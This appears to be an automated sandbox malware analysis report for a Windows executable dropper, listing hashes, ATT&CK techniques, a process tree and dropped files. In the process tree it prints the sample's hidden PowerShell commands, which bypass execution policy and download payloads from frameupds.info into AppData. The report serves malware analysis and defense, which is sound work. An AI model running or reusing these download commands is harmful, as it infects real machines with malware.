fa3f7a4c1502f499a481b56f5e7c185876626e3d00110d84e09652f98b776aff

Resubmissions

27/11/2024, 13:29

241127-qrb37svpcv10

27/11/2024, 09:27

241127-le54astrfj10

Analysis

max time kernel
839s
max time network
841s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/11/2024, 09:27

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General

Target
73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe
Size 212KB
Sample241127-le54astrfj
SHA256 73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f
MD5 43b55685945d2cecc170b850cf622038
SHA1 3b301a8a8a38dddd3cfb554b264342f9948102b0
SHA512 ba08284c9c07150f68fc92be46cdf058caa0b6f9b25135cc2716c286efdbcfd59d79f5bf211260d900ac3fd8fe78b582010ae8985b2f240829c9b94020ae7a65
SSDEEP 3072:DNDzKKCY4RZzOo8u2IJskwUu25iiik4l9ep6RHpm0/d2IK9EzB2tPNxBWg3facbN:pDGKClZl8P6KVRH83TtVf33bncxfq
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://frameupds.info/rwrw66/2222z.php

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://frameupds.info/rwrw66/1111z.php

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe
1932	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2764	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2764	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2728	powershell.exe
1932	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 2812	1912	73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe	31
PID 1912 wrote to memory of 2812	1912	73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe	31
PID 1912 wrote to memory of 2812	1912	73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe	31
PID 2812 wrote to memory of 2764	2812	cmd.exe	33
PID 2812 wrote to memory of 2764	2812	cmd.exe	33
PID 2812 wrote to memory of 2764	2812	cmd.exe	33
PID 2812 wrote to memory of 2728	2812	cmd.exe	34
PID 2812 wrote to memory of 2728	2812	cmd.exe	34
PID 2812 wrote to memory of 2728	2812	cmd.exe	34
PID 2812 wrote to memory of 1932	2812	cmd.exe	35
PID 2812 wrote to memory of 1932	2812	cmd.exe	35
PID 2812 wrote to memory of 1932	2812	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe
"C:\Users\Admin\AppData\Local\Temp\73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Roaming\ewqeq.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\PING.EXE
    ping localhost -n 6
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $KRIIR = New-Object System.Net.WebClient; $KRIIR.Headers['User-Agent'] = 'Command'; $KRIIR.downloadfile('http://frameupds.info/rwrw66/2222z.php','C:\Users\Admin\AppData\Roaming\7za.exe');
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $KRIIR = New-Object System.Net.WebClient; $KRIIR.Headers['User-Agent'] = 'Command'; $KRIIR.downloadfile('http://frameupds.info/rwrw66/1111z.php','C:\Users\Admin\AppData\Roaming\25520.7z');
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BETOL8EIGMBVJV25PPIG.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BETOL8EIGMBVJV25PPIG.temp
Size 7KB
SHA256 4ce84f53699cb0f7c97e1f66717fac6af887e310610799f4089bafaf41d3f0f4
MD5 784b9818145f42b69a5152fbf21ccbb6
SHA1 3978e7fb42ce4f79133fc26b7abc03c00396b115
SHA512 0ced222108f162ef46bdedd9a71c8464ea53ebc37e19d04a29e8ccb320e47998e042c6bd97c1d420ee012859c0ada5c9582b2b08f22e54474c5dbcdd4e603785
SSDEEP 96:8RSCw4rM8HnqvsqvJCwoHPwPYRSCw4rM8HnqvsEHyqvJCworpPwPAm8UEQHOn3n2:My4rzUohy4rzAHnorph7371CB
MD5 SHA1 SHA512 SSDEEP

Submit Download

ewqeq.cmd

Path C:\Users\Admin\AppData\Roaming\ewqeq.cmd
Size 5KB
SHA256 c9bbb054e47836ee23efdb0c3d4ad193f7cbad635cfc9f2ba37da1d912a8b313
MD5 03868028bcd5c24c468e2c66571fb850
SHA1 c1dbed55b06bcc1b6a6211f7f8de592d92beb911
SHA512 d3527a2b639e694a2c4c9ab3279092f6e470a7e86b3bd5aff3fdfe63760eee2c4393f0b43067e6d922064fabef6c510008676cabb9031aaf3fbee4305ab6c999
SSDEEP 96:Xsiaz78J3b0zaylSOo0/KXslSOo0/KXZfwifijyuYEJE9:XsiJhqarOo0/6VOo0/6ZfwifGyuBJE9
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1912-4-0x0000000002780000-0x0000000002790000-memory.dmp

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memory/1932-18-0x000000001B700000-0x000000001B9E2000-memory.dmp

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memory/1932-19-0x00000000021D0000-0x00000000021D8000-memory.dmp

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memory/2728-10-0x0000000002A90000-0x0000000002B10000-memory.dmp

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memory/2728-11-0x000000001B790000-0x000000001BA72000-memory.dmp

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memory/2728-12-0x0000000001E80000-0x0000000001E88000-memory.dmp

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